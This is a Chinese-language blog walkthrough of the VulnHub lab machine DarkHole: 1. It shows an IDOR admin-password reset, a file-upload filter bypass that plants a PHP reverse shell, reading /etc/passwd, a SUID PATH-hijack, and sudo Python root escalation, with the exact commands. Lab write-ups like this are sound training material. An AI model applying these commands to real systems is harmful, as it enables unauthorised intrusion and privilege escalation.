wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.10- DARKHOLE: 1(vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:0 | 阅读: 1975

一、前言

主要利用方式:平行越权拿root账户+文件上传拿www目录权限+可执行(S)权限二进制文件以root权限获取系统用户的密码+执行py文件提权/用户sudo直接提权

二、靶机信息

靶场: vulnhub.com
靶机名称: DARKHOLE: 1
难度: 简单
发布时间: 2021 年 7月 18日
下载地址:https://www.vulnhub.com/entry/darkhole-1,724/
备注:感觉这个靶机一点不easy,利用方式很多是出其不意,但也有一定的规矩可循;
          文件上传需要绕过,二进制文件需要变通的用root权限进行执行,然获取密码;
          ssh登录后,可以使用bash提升权限,也有意外另一个账号可直接sudo 提权。

三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、探测靶机的开发端口及服务
└─$ sudo nmap -p- 192.168.169.157
└─$ sudo nmap -p22,80 -sV -A 192.168.169.157

3、80服务开启,常规扫描路径及访问web项目
└─$ dirsearch -u 192.168.169.157

4、目录扫描中发现有路径遍历,但点击后,无有效利用信息,还有后台登录模块,
http://192.168.169.157/login.php

5、在vulnhub上的介绍说别尝试暴力破解,经过页面分析,也没啥可以参考的用户,只有一个注册。那就,点击sign up now,然后注册一个账号(sec01)。注册成功后,登录进去系统。

6、通过尝试,在更改ID时,由2改为1 ,返回包提示,密码已被更改

事实证明,存在平行越权漏洞,且我们已经修改了id=1的账户密码为sec01。尝试猜测管理员账号,如admin等用户,经过尝试,管理员账户为:admin,密码为sec01,登录系统,多了一个文件上传功能。

7、将kali自带的php-reverse-shell.php 重命名为prs.php,并将里面的反弹IP和端口改掉

五、漏洞利用(突破边界)

8、在admin用户上传场景下,上传php的webshell,经过尝试,发现存在拦截,尝试绕过,

  一般绕过,可以通过以下几点
 更改文件后缀:php2.jpg、php2、phtml、htm、pht等
 文件类型绕过:Content-Type: image/jpeg
 文件头绕过:GIF 89a

更改filename为:prs.php2进行绕过上传,提示上传成功,并给出具体目录

但php2未解析:

再次尝试使用prs.phtml,尝试绕过限制上传

9、本地开启监听,访问文件,成功反弹shell
http://192.168.169.157/upload/prs.phtml

10、python3提升到tty,看用户权限
$ python3 -c "import pty;pty.spawn('bin/bash')"

11、查看etc/passwd中可以利用bash的用户,发现john及darkhole两个用户存在bash的权限
www-data@darkhole:/$ cat /etc/passwd

2、查看存在root权限的可执行文件--->未果
www-data@darkhole:/var/www$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v 'proc|sys'

13、查询两个用户home目录下是否存在root可执行(S)权限文件
www-data@darkhole:/home/darkhole$ ls -la

www-data@darkhole:/home/john$ ls -la

14、在john,在/home/john目录下发现toto二进制文件具有s权限

   点击执行toto文件,运行发现toto文件的结果是用john的身份执行了id命令

15、获取john用户shell

我们可以尝试利用这个非root用户可以执行root权限的特性,在本地编辑新的id文件,写入/bin/bash,给执行权限。然后将文件路径写入到原有环境变量前(从前往后顺序匹配),这样使用id命令时就会优先匹配此路径下的id文件,运行toto文件使用john身份调用id命令时就获取shell

echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
./toto

16、因为前期查查看过johnhome目录下的存在password、user.txt文件等
john@darkhole:/home/john$ ls -la

john@darkhole:/home/john$ cat password

john@darkhole:/home/john$ cat user.txt
获取了第一个flag:DarkHole{You_Can_DO_It}

六、提权
方法一:
17、 因为之前查看password文件得到john的密码root123,这里可以使用ssh登录上去

18、 查看账户是否可以通过sudo 提权

19、查看file.py文件,发现是个空文件

20、提升权限,强制bash替代shell,将语句写入file.py文件
john@darkhole:~$ echo "import os;os.system('/bin/bash')" > file.py

21、运行py文件,提升权限,查询id,查IP,查root.txt的flag
john@darkhole:~$ sudo python3 /home/john/file.py
root@darkhole:/home/john# id
root@darkhole:/home/john# ip a
root@darkhole:/home/john# cd /root
root@darkhole:~# cat root.txt
DarkHole{You_Are_Legend}

方法二:
22、使用(darkhole/root123)登录靶机,发现也可以成功登录
└─$ ssh darkhole@192.168.169.157

23、通过sudo su 也可以提权,查看用户权限,查看flag,靶机ip
darkhole@darkhole:~$ id
darkhole@darkhole:~$ sudo su
root@darkhole:/home/darkhole# id
root@darkhole:/home/darkhole# cat /root/root.txt
DarkHole{You_Are_Legend}
root@darkhole:/home/darkhole# ip a

添加新评论

TOP